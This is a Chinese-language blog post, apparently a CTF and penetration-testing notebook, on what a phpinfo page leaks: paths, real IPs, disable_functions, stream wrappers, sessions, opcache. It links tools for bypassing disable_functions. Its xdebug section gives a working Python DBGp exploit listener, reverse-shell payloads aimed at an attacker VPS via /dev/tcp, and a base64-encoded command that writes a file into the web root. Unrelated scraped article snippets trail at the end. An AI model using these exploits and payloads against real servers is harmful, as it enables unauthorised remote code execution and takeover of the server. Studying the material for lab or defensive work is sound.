phpinfo中敏感信息记录
比赛中或者渗透中如果遇到phpinfo,从里面发现的一些线索能够对后续的渗透和解题帮助很大,这里记录总结一下目前网上比较常用的的。
下图来源于:https://seaii-blog.com/index.php/2017/10/25/73.html

1.绝对路径(_SERVER["SCRIPT_FILENAME"])

2.支持的程序
可以看看服务器是否加载了redis、memcache、mongodb、mysql、curl,如果加载了,那么就可以适当往这几个方面考虑,还可以看看是否支持gopher、是否启了fastcgi。
3.泄漏真实ip(_SERVER["SERVER_ADDR"]或SERVER_ADDR)
可以查查旁站、c段什么的,直接无视cdn
4.一些敏感配置
allow_url_include、allow_url_fopen、disable_functions、open_basedir、short_open_tag等等
5.Loaded Configuration File(配置文件位置)
这一栏表明了 php.ini 这个 php 配置文件的位置,在有文件读取的情况下可以进行读取,在渗透中还是很有帮助的。

6.Registered PHP Streams(支持的流)
这个在文件包含、反序列化还有一些关键的 bypass 的时候非常有用

利用phar/zip协议绕过有后缀的文件包含:include zip:///var/www/html/upload/1.gif#1.php
7.open_basedir
这个选项设置了文件读取的时候的目录限制

8.short_open_tag
判断服务器是不是支持短标签,这在写 shell 的时候很有帮助

9.phar
文件包含还有反序列化重点关注

10.SESSION
session.save_path=”” –设置session的存储路径
session.save_handler=”” –设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen –指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler string –定义用来序列化/反序列化的处理器名字。默认使用php
这个也容易导致session处理器不同而导致的反序列化漏洞,之前文章里也说过
https://www.cnblogs.com/wfzWebSecuity/p/11156279.html
11.server api

php解释器与应用层的桥梁。
.FPM/FastCGI 多用于和nginx通信,当然也可用于其他web中间件。
.Apache 2.0 Handler php为apache提供的专用SAPI
.Command Line Interface php命令行
12.disable_functions
有时候我们上传了一个webshell却不能用,有很大可能是管理员做了配置,禁用了php执行系统命令的函数。

有时候我们上传了一个webshell却不能用,有很大可能是管理员做了配置,禁用了php执行系统命令的函数。
绕过的方式有这么几个:
黑名单绕过:
百密一疏,寻找黑名单中漏掉的函数,上图中禁用的函数算是比较全的了。
比如在编译php时如果加了-–enable-pcntl选项,就可以使用pcntl_exec()来执行命令。
渗透技巧:利用pcntl_exec突破disable_functions
利用ImageMagick漏洞绕过disable_function
利用环境变量LD_PRELOAD来绕过php disable_function
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
利用扩展库绕过
综合:
https://github.com/l3m0n/Bypass_Disable_functions_Shell
13.enable_dl

上面说的利用扩展库绕过disable_functions,需要使用dl()并且开启这个选项
14.xdebug 远程rce

漏洞利用条件:
xdebug.remote_connect_back 的回连是通过自定义 Header(xdebug.remote_addr_header)、X-Forwarded-For 和 Remote-Addr 三个确定的,依次 fallback,所以即使配置了自定义 Header,也可以通过设置 XFF 头来指定服务器连接,就是让被调试的服务器去连接我们的恶意主机,此时我们的恶意主机就可以和目标服务器进行交互,并且因为是xdebug是支持dbgp的,所以可以此时让恶意主机发送恶意指令到目标服务器让其执行
需要在目标站的phpinfo中看到:
xdebug.remote_connect_back => On => On
xdebug.remote_cookie_expire_time => 3600 => 3600
xdebug.remote_enable => On => On
即可使用Xdebug进行连接,尝试直接命令执行
利用exp如下:rr师傅的
import socket
ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()
while True:
    client_data = conn.recv(1024)
    print(client_data)
    data = raw_input('>> ')
    conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))
首先可以测试一下是否可以利用,直接使用curl


然后执行exp,监听本地9000端口,发送恶意payload,访问vps

反弹shell:
此时直接用
system("bash -i >& /dev/tcp/vps_id/port 0>&1")没弹回来,但是能curl到,换了个payload,尝试往网站根目录下写shell:
用payload如下,这里用base64转一下,防止payload引号发生冲突,冲突写不进去
shell_exec("echo 'ZWNobyAiPD9waHAgcGhwaW5mbygpOz8+IiA+IC92YXIvd3d3L2h0bWwvcy5waHA=' | base64 -d | bash");

看下/var/www/html下面:

有了上面base64绕过,我又回来试了一下能不能反弹shell,还是用system("bash -i >& /dev/tcp/vps_id/port 0>&1"),把反弹shell的payload进行编码一下:

然后vps上。。。。终于弹回来了,exp没问题,要自己调试一下paylaod,适当把payload编码一下挺有用的


15.opcache
opcache是缓存文件,他的作用就类似于web项目中的静态文件的缓存, 比如我们加载一个网页, 浏览器会自动帮我们把jpg, css缓存起来, 唯独php没有缓存, 每次均需要open文件, 解析代码, 执行代码这一过程, 而opcache即可解决这个问题, 代码会被高速缓存起来, 提升访问速度。
如果目标网站
opcache.enable => On
即可判断开启了opcache,即有开启了潜在的攻击面
详情见0ctf ezdoor解析
https://skysec.top/2018/04/11/0ctf-ezdoor/
https://skysec.top/2018/04/04/amazing-phpinfo/#OPCACHE
https://www.angelwhu.com/blog/?p=438
16.imap
https://github.com/vulhub/vulhub/blob/master/php/CVE-2018-19518/README.md
参考(侵删):
https://paper.seebug.org/397/
https://www.k0rz3n.com/2019/02/12/PHPINFO%20%E4%B8%AD%E7%9A%84%E9%87%8D%E8%A6%81%E4%BF%A1%E6%81%AF/
http://www.am0s.com/penetration/322.html
https://chybeta.github.io/2017/08/15/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%9A%84%E4%B8%80%E4%BA%9B%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7/
https://github.com/vulhub/vulhub/tree/master/php/xdebug-rce
https://seaii-blog.com/index.php/2017/10/25/73.html
phpinfo中敏感信息记录的更多相关文章
- 对Java配置文件中敏感信息进行加解密的工具类
		
在 JavaEE 配置文件中,例如 XML 或者 properties 文件,由于某些敏感信息不希望普通人员看见,则可以采用加密的方式存储,程序读取后进行解密. 常见的如: 数据库用户密码,短信平台用 ...
 - Spring Boot 配置中的敏感信息如何保护?
		
在之前的系列教程中,我们已经介绍了非常多关于Spring Boot配置文件中的各种细节用法,比如:参数间的引用.随机数的应用.命令行参数的使用.多环境的配置管理等等. 这些配置相关的知识都是Sprin ...
 - ASP.NET Core 5.0 中读取Request中Body信息
		
ASP.NET Core 5.0 中读取Request中Body信息 记录一下如何读取Request中Body信息 public class ValuesController : Controller ...
 - [转载]从phpinfo中能获取哪些敏感信息
		
phpinfo()想必的最熟悉的了,在搭建环境之后都会随后写一个 phpinfo()来测试环境是否正常,很多人测试完毕忘记删除就开始部署环境了,这就造成了一些敏感信息的泄漏.那么我们能从 phpinf ...
 - jboss eap 6.2+ 版本中 加密datasource密码等敏感信息
		
默认情况下,在jboss eap 6.2+ 管理控制台创建datasource后,会在standalone.xml(独立模式)或host.xml(域模式)中以明文保存相关敏感信息. 这会给服务器留下安 ...
 - ASP.NET MVC中错误日志信息记录
		
MVC中有一个处理异常的过滤器 HandleErrorAttribute 1.新建一个类继承自 HandleErrorAttribute,然后重写OnException这个方法 public clas ...
 - 解决MVC Jquery"此请求已被阻止,因为当用在 GET 请求中时,会将敏感信息透漏给第三方网站"的问题
		
在ASP.NET MVC项目中,使用AJAX向控制器发送GET请求获取JSON数据时,出现这个错误:"此请求已被阻止,因为当用在 GET 请求中时,会将敏感信息透漏给第三方网站.若要允许 G ...
 - 在 .NET Core 中使用 DiagnosticSource 记录跟踪信息
		
前言 最新一直在忙着项目上的事情,很久没有写博客了,在这里对关注我的粉丝们说声抱歉,后面我可能更多的分享我们在微服务落地的过程中的一些经验.那么今天给大家讲一下在 .NET Core 2 中引入的全新 ...
 - python找递归目录中文件,并移动到一个单独文件夹中,同时记录原始文件路径信息
		
运营那边有个需求. 下载了一批视频文件,由于当时下载的时候陆陆续续创建了很多文件夹,并且,每个文件夹下面还有子文件夹以及视频文件,子文件夹下面有视频文件或者文件夹 现在因为需要转码,转码软件只能对单个 ...
 
随机推荐
- C++string类字符串学习
			
1.逆转字符串 第一种,使用algorithm中reverse函数. #include <algorithm> #include <string> #include <i ...
 - Docker Registry搭建
			
一.前言 Docker官方镜像仓库 访问速度很慢,Docker Registry允许搭建我们自己的镜像仓库,为实现镜像拉取.推送提供便利. 二.安装与启动 1.创建目录 mkdir /usr/loca ...
 - angular-file-upload.min.js.map文件下载
			
https://github.com/nervgh/angular-file-upload 下载地址 在文件 菜单栏有对应文件
 - SQL优化的总结和一些避免全盘扫描的注意事项
			
1.应尽量避免在 where 子句中使用 != 或 <> 操作符,否则将引擎放弃使用索引而进行全表扫描. 2.应尽量避免在 where 子句中使用 or 来连接条件,如果一个字段有索引,一 ...
 - SEO要点
			
SEO要点:1.语义化html标签,用合适的标签嵌套合适的内容,不可过分依赖div,对浏览器更友善就能更容易被抓取.2.重要的内容html代码放在前面,放在左边.搜索引擎爬虫是从左往右,从上到下进行抓 ...
 - PHP中RabbitMQ之phpAmqplib实现(五
			
本章讲诉如何使用php-amqplib实现RabbitMQ. 环境:CoentOS,PHP 7 简单介绍一下php-amqplib php-amqplib是Advanced Message Queui ...
 - 一个比ES处理数据更快的工具--Hubble.Net
			
http://www.cnblogs.com/eaglet/tag/Hubble.Net/
 - python打包工具distutils、setuptools的使用
			
python中安装包的方式有很多种: 源码包:python setup.py install 在线安装:pip install 包名(linux) / easy_install 包名(window) ...
 - PAT乙级1041
			
题目链接 https://pintia.cn/problem-sets/994805260223102976/problems/994805281567916032 题解 简单的信息录入和查询而已. ...
 - HashSet怎样保证元素不重复
			
文章同步更新在个人博客:HashSet怎样保证元素不重复 都知道HashSet中不能存放重复元素,有时候可以用来做去重操作等.但是其内部是怎么保证元素不重复的呢?下面从源码去看看. 打开HashSet ...